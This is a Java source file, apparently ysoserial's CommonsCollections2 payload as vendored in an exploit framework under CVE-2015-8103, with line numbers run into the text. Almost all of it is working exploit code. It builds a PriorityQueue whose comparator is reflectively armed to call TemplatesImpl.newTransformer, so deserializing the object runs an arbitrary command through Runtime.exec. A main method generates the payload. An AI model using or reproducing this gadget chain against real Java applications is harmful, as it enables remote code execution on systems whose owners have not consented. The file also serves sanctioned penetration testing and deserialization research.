Path: blob/master/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections2.java
24822 views
package ysoserial.payloads;12import java.util.PriorityQueue;3import java.util.Queue;45import org.apache.commons.collections4.comparators.TransformingComparator;6import org.apache.commons.collections4.functors.InvokerTransformer;78import ysoserial.payloads.annotation.Dependencies;9import ysoserial.payloads.util.Gadgets;10import ysoserial.payloads.util.PayloadRunner;11import ysoserial.payloads.util.Reflections;1213import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;1415/*16Gadget chain:17ObjectInputStream.readObject()18PriorityQueue.readObject()19...20TransformingComparator.compare()21InvokerTransformer.transform()22Method.invoke()23Runtime.exec()24*/2526@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })27@Dependencies({"org.apache.commons:commons-collections4:4.0"})28public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {2930public Queue<Object> getObject(final String command) throws Exception {31final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);32// mock method name until armed33final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);3435// create queue with numbers and basic comparator36final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));37// stub data for replacement later38queue.add(1);39queue.add(1);4041// switch method called by comparator42Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");4344// switch contents of queue45final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");46queueArray[0] = templates;47queueArray[1] = 1;4849return queue;50}5152public static void main(final String[] args) throws Exception {53PayloadRunner.run(CommonsCollections2.class, args);54}5556}575859